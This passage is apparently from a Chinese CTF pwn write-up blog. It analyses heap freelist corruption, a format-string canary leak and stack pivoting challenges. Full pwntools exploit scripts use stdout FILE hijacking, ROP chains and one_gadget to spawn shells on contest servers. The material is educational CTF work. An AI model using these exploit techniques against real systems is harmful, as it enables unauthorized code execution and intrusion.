  _QWORD *next_obj; // [rsp+40h] [rbp-10h]
  unsigned __int64 v9; // [rsp+48h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  nobjs = 20;
  v5 = (_QWORD *)chunk_alloc(size, &nobjs);
  if ( nobjs == 1 )
    return v5;
  my_free_list = &free_list[get_idx(size)];
  v7 = v5;
  current_obj = v5;
  *my_free_list = (char *)v5 + size;
  for ( i = 0; i != nobjs - 1; ++i )
  {
    next_obj = (_QWORD *)((char *)current_obj + size);
    *current_obj = (char *)current_obj + size;
    current_obj = next_obj;
  }
  return v7;
}

_QWORD *__fastcall chunk_alloc(unsigned __int64 size, int *nobjs)
{
  unsigned __int64 idx; // rax
  int i; // [rsp+14h] [rbp-3Ch]
  unsigned __int64 all_size; // [rsp+18h] [rbp-38h]
  unsigned __int64 available_size; // [rsp+20h] [rbp-30h]
  _QWORD *arena_start_ptr; // [rsp+28h] [rbp-28h]
  size_t v8; // [rsp+38h] [rbp-18h]
  _QWORD **v9; // [rsp+40h] [rbp-10h]
  _QWORD *v10; // [rsp+48h] [rbp-8h]

  all_size = size * *nobjs;
  available_size = arena_end - arena_start;
  arena_start_ptr = (_QWORD *)arena_start;
  if ( all_size > arena_end - arena_start )
  {
    if ( available_size < size )
    {
      if ( available_size )
      {
        arena_start = arena_end;
        idx = get_idx(available_size);
        *arena_start_ptr = free_list[idx];
        free_list[idx] = arena_start_ptr;
      }
      v8 = 2 * all_size;
      for ( i = size; i <= 128; i += 8 )
      {
        v9 = (_QWORD **)&free_list[get_idx(i)];
        v10 = *v9;
        if ( *v9 )
        {
          *v9 = (_QWORD *)*v10;
          arena_start = (__int64)v10;
          arena_end = (__int64)v10 + i;
          return chunk_alloc(size, nobjs);
        }
      }
      arena_end = 0LL;
      arena_start = (__int64)malloc_(v8);
      arena_end = arena_start + v8;
      return chunk_alloc(size, nobjs);
    }
    else
    {
      *nobjs = available_size / size;
      arena_start += size * *nobjs;
      return arena_start_ptr;
    }
  }
  else
  {
    arena_start += all_size;
    return arena_start_ptr;
  }
}

存在漏洞的地方是建立链表的时候不会将最后一个obj的next指针置空,可以通过堆块上残留的数据伪造一个指针破坏链表,实现任意地址分配

for ( i = 0; i != nobjs - 1; ++i )
{
  next_obj = (_QWORD *)((char *)current_obj + size);
  *current_obj = (char *)current_obj + size;
  current_obj = next_obj;
}

利用的思路是,首先申请大量的堆块,使arena_end - arena_start尽可能的小,这样申请小块内存的时候,建立freelist,会优先从free list中的大堆块中建立,而不是从后面空闲内存那建立,利用大堆块中残留的数据伪造next指针破坏freelist实现任意地址写,写IO_2_1_stdout 通过puts的利用链将libc的地址泄露出来后,再通过environ泄露栈地址,最后写rop

关于puts函数泄露任意地址 IO_2_1_stdout利用链的分析

https://a1ex.online/2020/08/31/IO-FILE%E6%B3%84%E9%9C%B2libc%E5%9C%B0%E5%9D%80/

简单来说 当 write_ptr > write_base时 ,会将write_base这个地址中大小为 (write_ptr - write_base)的数据泄露出来,

其中flag要为特定值才能绕过前面几个cmp,write_end要小于等于 write_ptr

exp

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

p = connect()

def alloc(idx,size,content):
    p.sendlineafter('>','1')
    p.sendlineafter('idx',str(idx))
    p.sendlineafter('size',str(size))
    p.sendafter('Content',content)

def dealloc(idx):
    p.sendlineafter('>','2')
    p.sendlineafter('idx',str(idx))



stdout_addr = 0x404040
alloc(0,0x80,b'A'*0x38+p64(stdout_addr)+b'A'*0x40)
alloc(1,0x80,b'A'*0x40+p64(0xDEADBEAF)+b'A'*0x38)

#清空0x80的freelist 使得 arena_end - arena_start < 0x38 这样申请内存就会从0x80的free list中切割然后拿了
for i in range(2,40):
    alloc(i,0x80,'B'*0x80)

#释放一个0x80堆块用来建立0x38的freelist
dealloc(0)
    
#尝试分配0x38,由于对应freelist为空,在刚释放的0x80(0号)上建立链表并填充0x38的freelist
alloc(0,0x38,'C'*0x38)

#正常取出一个堆块
alloc(40,0x38,'C'*0x38)

    
#取出stdout, 使next chunk为 _p_2_1_stdout_
alloc(41,0x38,b'\x80') #覆盖stdout的低位,stdout低位原本就是 \x80
    
# pwndbg> p _p_2_1_stdout_
# $2 = {
#   file = {
#     _flags = -72542208,  //0xfbad1800
#     _io_read_ptr = 0x0, 
#     _io_read_end = 0x0, 
#     _io_read_base = 0x0, 
#     _io_write_base = 0x7ffff7dd2600 <_io_2_1_stderr_+192> 'A' <repeats 32 times>, //低字节修改成了00
#     _io_write_ptr = 0x7ffff7dd26a3 <_io_2_1_stdout_+131> "\n", 
#     _io_write_end = 0x7ffff7dd26a3 <_io_2_1_stdout_+131> "\n", 
#     _io_buf_base = 0x7ffff7dd26a3 <_io_2_1_stdout_+131> "\n", 
#     _io_buf_end = 0x7ffff7dd26a4 <_io_2_1_stdout_+132> "", 
#     _io_save_base = 0x0, 
#     _io_backup_base = 0x0, 
#     _op_save_end = 0x0, 
#     _markers = 0x0, 
#     _chain = 0x7ffff7dd18e0 <_p_2_1_stdin_>, 
#     _fileno = 1, 
#     _flags2 = 0, 
#     _old_offset = -1, 
#     _cur_column = 0, 
#     _vtable_offset = 0 '\000', 
#     _shortbuf = "\n", 
#     _lock = 0x7ffff7dd3780 <_p_stdfile_1_lock>, 
#     _offset = -1, 
#     _codecvt = 0x0, 
#     _wide_data = 0x7ffff7dd17a0 <_p_wide_data_1>, 
#     _freeres_list = 0x0, 
#     _freeres_buf = 0x0, 
#     __pad5 = 0, 
#     _mode = -1, 
#     _unused2 = '\000' <repeats 19 times>
#   }, 
#   vtable = 0x7ffff7dd06e0 <_p_file_jumps>
# }

payload = flat([0xfbad1800,0,0,0,elf.got['free'],elf.got['free']+0x8,elf.got['free']]) #伪造_p_2_1_stdout_读取libc地址

# gdb.attach(p)
alloc(42,0x38,payload)


p.interactive()

libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['free']
success(f"libc_base ->{hex(libc_base)}")

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
environ_addr = libc_base+libc.sym['environ']
pop_rdi = libc_base + 0x2a3e5
ret = libc_base + 0x2a3e6

#释放再取回,伪造_p_2_1_stdout_泄露environ得到栈地址
dealloc(42)
payload = flat([0xfbad1800,0,0,0,environ_addr,environ_addr+8,environ_addr+8])
alloc(42,0x38,payload)


stack_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x140
success(f"stack_addr ->{hex(stack_addr)}")

#利用残留数据,布置任意地址写用的堆块
dealloc(1)
alloc(1,0x80,b'A'*0x40+p64(stack_addr)+b'A'*0x38)
dealloc(1)
    
#尝试分配0x40,由于对应freelist为空,在刚释放的0x80(1号)上建立链表并填充0x40的freelist
alloc(1,0x40,'C'*0x40)

alloc(43,0x40,'C'*0x40)

payload = p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
alloc(44,0x40,payload)

p.interactive()
Read More
post @ 2024-05-27

ez_quiz

可以发现程序分三个部分,第一个部分是一个base32的逻辑,第二个是一个表达式计算的逻辑,第三个是格式化字符串漏洞 + 栈溢出的逻辑,要先过了前两个逻辑才会走到存在漏洞的逻辑,程序还存在一个backdoor

int __cdecl main(int argc, const char **argv, const char **envp)
{
    unsigned int v3; // eax
    unsigned int v4; // eax
    unsigned int v5; // eax
    unsigned int v6; // eax
    unsigned __int8 v8; // [rsp+3h] [rbp-19Dh]
    unsigned __int8 v9; // [rsp+4h] [rbp-19Ch]
    unsigned __int8 v10; // [rsp+5h] [rbp-19Bh]
    unsigned __int8 v11; // [rsp+6h] [rbp-19Ah]
    unsigned __int8 v12; // [rsp+7h] [rbp-199h]
    int i; // [rsp+8h] [rbp-198h]
    unsigned int v14; // [rsp+10h] [rbp-190h]
    unsigned int v15; // [rsp+14h] [rbp-18Ch]
    char v16[8]; // [rsp+18h] [rbp-188h] BYREF
    char nptr[32]; // [rsp+20h] [rbp-180h] BYREF
    char v18[32]; // [rsp+40h] [rbp-160h] BYREF
    char v19[32]; // [rsp+60h] [rbp-140h] BYREF
    char input_data[64]; // [rsp+80h] [rbp-120h] BYREF
    __int64 v21[10]; // [rsp+C0h] [rbp-E0h] BYREF
    char v22[136]; // [rsp+110h] [rbp-90h] BYREF
    unsigned __int64 v23; // [rsp+198h] [rbp-8h]

    v23 = __readfsqword(0x28u);
    init(argc, argv, envp);
    signal(14, handler);
    v9 = 0;
    v10 = 0;
    v11 = 0;
    v12 = 0;
    qmemcpy(v21, "XOW3JPFLXGCK7TWMX6GMZIGOTK7ZJIELS65KBHU3TOG2BT4ZUDEJPGVATS7JDPVNQ2QL7EM3UCHZNGUC", sizeof(v21));
    v3 = time(0LL);
    srand(v3);
    v8 = rand() % 256;
    chal1(input_data, 64);
    if ( strlen(input_data) > 0x32 )
    {
        strcpy(v22, "Out of length.\n");
        v4 = strlen(v22);
        wr1te(1LL, v22, v4);
        exit(1);
    }
    encode(input_data, (__int64)v22);
    for ( i = 0; i < 160; ++i )
    {
        v8 = lfsr_h(v8);
        if ( i == 156 )
            v12 = v8;
        if ( i == 157 )
            v11 = v8;
        if ( i == 158 )
            v10 = v8;
        if ( i == 159 )
            v9 = v8;
    }
    if ( (unsigned int)cmp((__int64)v22, (__int64)v21, 0x50uLL) )
    {
        strcpy(v16, "Right!\n");
        alarm(2u);
        v5 = strlen(v16);
        wr1te(1LL, v16, v5);
        strcpy(v19, "Please solve this calculation:\n");
        v14 = (v9 - v10) * v11 % v12;
        printf("(( %d - %d ) * %d ) %% %d=?\n", v9, v10, v11, v12);
        fgets(nptr, 20, stdin);
        alarm(0);
        v15 = atoi(nptr);
        if ( v15 != v14 )
        {
            printf("You input:%d , but answer:%d", v15, v14);
            exit(1);
        }
        strcpy(v18, "Right! Here's your gift:\n");
        v6 = strlen(v18);
        wr1te(1LL, v18, v6);
        gift();
    }
    else
    {
        puts("Not Right");
    }
    return 0;
}
__int64 gift()
{
    char format[40]; // [rsp+0h] [rbp-30h] BYREF
    unsigned __int64 v2; // [rsp+28h] [rbp-8h]

    v2 = __readfsqword(0x28u);
    gets(format);
    printf(format);
    fflush(stdout);
    return gets(format);
}

base32decode 得到token是DRKCTF{P13@s3_1e@k_thE_addr_0f_7he_cAnARy_@nd_pie}

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

static const char base32_alphabet[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";

int base32_lookup(char c) {
    if (c >= 'A' && c <= 'Z') return c - 'A';
    if (c >= '2' && c <= '7') return c - '2' + 26;
    return -1;
}

void __fastcall decode(char *encoded, char *decoded) {
    int buffer = 0;
    int bits_left = 0;
    int count = 0;
    int length = strlen(encoded);

    for (int i = 0; i < length; i++) {
        if (encoded[i] == '=') break; // Padding character

        int val = base32_lookup(encoded[i]);
        if (val == -1) continue; // Skip invalid characters

        buffer = (buffer << 5) | val;
        bits_left += 5;

        if (bits_left >= 8) {
            decoded[count++] = ~(char)((buffer >> (bits_left - 8)) & 0xFF);
            bits_left -= 8;
        }
    }
    decoded[count] = '\0';
}

int main() {
    char encoded[] = "XOW3JPFLXGCK7TWMX6GMZIGOTK7ZJIELS65KBHU3TOG2BT4ZUDEJPGVATS7JDPVNQ2QL7EM3UCHZNGUC"; // Example encoded string
    char decoded[256];

    decode(encoded, decoded);

    printf("Decoded: %s\n", decoded);

    return 0;
}

式化字符串泄露canary和 elf相关的地址后,计算出backdoor的地址,之后栈溢出覆盖返回地址为backdoor就好了

exp:

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "challenge.qsnctf.com"
PORT = 30604

elf = context.binary = ELF('./attachment')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


ru("Please give me your token: ")

decoded_string = "DRKCTF{P13@s3_1e@k_thE_addr_0f_7he_cAnARy_@nd_pie}"
sl(decoded_string)

ru("(( ")
a = int(ru('-')[:-2])
b = int(ru(' )')[:-2])
ru('* ')
c = int(ru(' )')[:-2])
ru('% ')
d = int(ru('=')[:-1])

result = ((a - b) * c) %d
sl(str(result))

ru("Right! Here's your gift:\n")

payload = "--%11$p---%8$p"
# g(p)
sl(payload)
ru('--')
canary = int(r(18),16)
ru('---')
pie = int(r(14),16) - (0x62fadaae3bd7 - 0x62fadaae2000)

success(hex(canary))
success(hex(pie))


backdoor = pie + 0x0000000000001426
payload = b'a' * 0x28 + p64(canary) + b'a' * 8 + p64(backdoor)
sl(payload)


p.interactive()

stack

没有泄露地址的逻辑,只能覆盖rbp 和 rbp + 8

int __cdecl main(int argc, const char **argv, const char **envp)
{
    char buf[256]; // [rsp+0h] [rbp-100h] BYREF

    inits();
    puts("Hello, CTFer, do you know how to stack pivoting?");
    read(0, buf, 0x110uLL);
    return 0;
}

但是仔细看的话会发现 通过这段gadget 配合控制rbp,就可以实现任意地址写,并且将栈迁移到一个已知的地址上,通过两次栈迁移就可以实现rop,第一次将rbp设置成bss中地址,ret设置成这个gadget,就会往bss里面写一段数据,写完后又可以leave ret一次。这样就可以实现rop了,同时rbp和rsp是在已知的地址。通过rop泄露libc地址然后回到main上再写一次rop,然后栈迁移过去执行 用system有些问题,直接用libc中的gadget来满足 onegadget的寄存器约束打one gadget就好了

.text:000000000040119B 48 8D 85 00 FF FF FF          lea     rax, [rbp+buf]
.text:00000000004011A2 BA 10 01 00 00                mov     edx, 110h                       ; nbytes
.text:00000000004011A7 48 89 C6                      mov     rsi, rax                        ; buf
.text:00000000004011AA BF 00 00 00 00                mov     edi, 0                          ; fd
.text:00000000004011AF B8 00 00 00 00                mov     eax, 0
.text:00000000004011B4 E8 C7 FE FF FF                call    _read
.text:00000000004011B4
.text:00000000004011B9 B8 00 00 00 00                mov     eax, 0
.text:00000000004011BE C9                            leave
.text:00000000004011BF C3                            retn
.text:00000000004011BF                               ; } // starts at 401176

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "challenge.qsnctf.com"
PORT = 31042

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()



rdi = 0x0000000000401210
rsi_r15 = 0x0000000000401281
leave_ret = 0x00000000004011be
rbp = 0x000000000040115d
bss = 0x404500

main = 0x401176
magic = 0x000000000040119B
magic2 = 0x4011aa
ret = 0x000000000040101a



sa("Hello, CTFer, do you know how to stack pivoting?",b'a' * 0x100 + p64(bss + 0x150) + p64(magic))

payload = p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts'])
payload += p64(main)
payload = payload.ljust(0x100,b'\x00') + p64(0x404550 - 0x8)  + p64(leave_ret)
# g(p)
s(payload)

print(rl())
libc_base = u64(r(6).ljust(8,b'\x00')) - libc.sym['puts']
success(hex(libc_base))

binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']


# 0xe3afe execve("/bin/sh", r15, r12)
# constraints:
#   [r15] == NULL || r15 == NULL
#   [r12] == NULL || r12 == NULL

# 0xe3b01 execve("/bin/sh", r15, rdx)
# constraints:
#   [r15] == NULL || r15 == NULL
#   [rdx] == NULL || rdx == NULL

# 0xe3b04 execve("/bin/sh", rsi, rdx)
# constraints:
#   [rsi] == NULL || rsi == NULL
#   [rdx] == NULL || rdx == NULL


r12_r13_r14_r15 = 0x000000000040127c #: pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret


payload = p64(r12_r13_r14_r15) + p64(0) + p64(0) + p64(0) + p64(0) + p64(libc_base + 0xe3afe)
payload = payload.ljust(0x100,b'b') + p64(0x404468 - 0x8)  + p64(leave_ret)
# g(p)
sa("Hello, CTFer, do you know how to stack pivoting?",payload)


p.interactive()

canary

程序存在canary,存在一个fork的逻辑,可以通过这个fork的逻辑去爆破canary的值,canary的低位是 \x00,所以只需要爆破 256 * 7 次就能得到canary,之后ret2syscall就好了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdx
  pid_t pid; // [rsp+Ch] [rbp-4h]

  setbuf(stdin, 0LL, envp);
  setbuf(stdout, 0LL, v3);
  while ( 1 )
  {
    pid = fork();
    if ( pid < 0 )
      break;
    if ( pid <= 0 )
      vuln();
    else
      wait(0LL);
  }
  return 0;
}
void __cdecl vuln()
{
  char buf[256]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v1; // [rsp+108h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("please input:");
  read(0LL, buf, 512LL);
}

exp

Read More
⬆︎TOP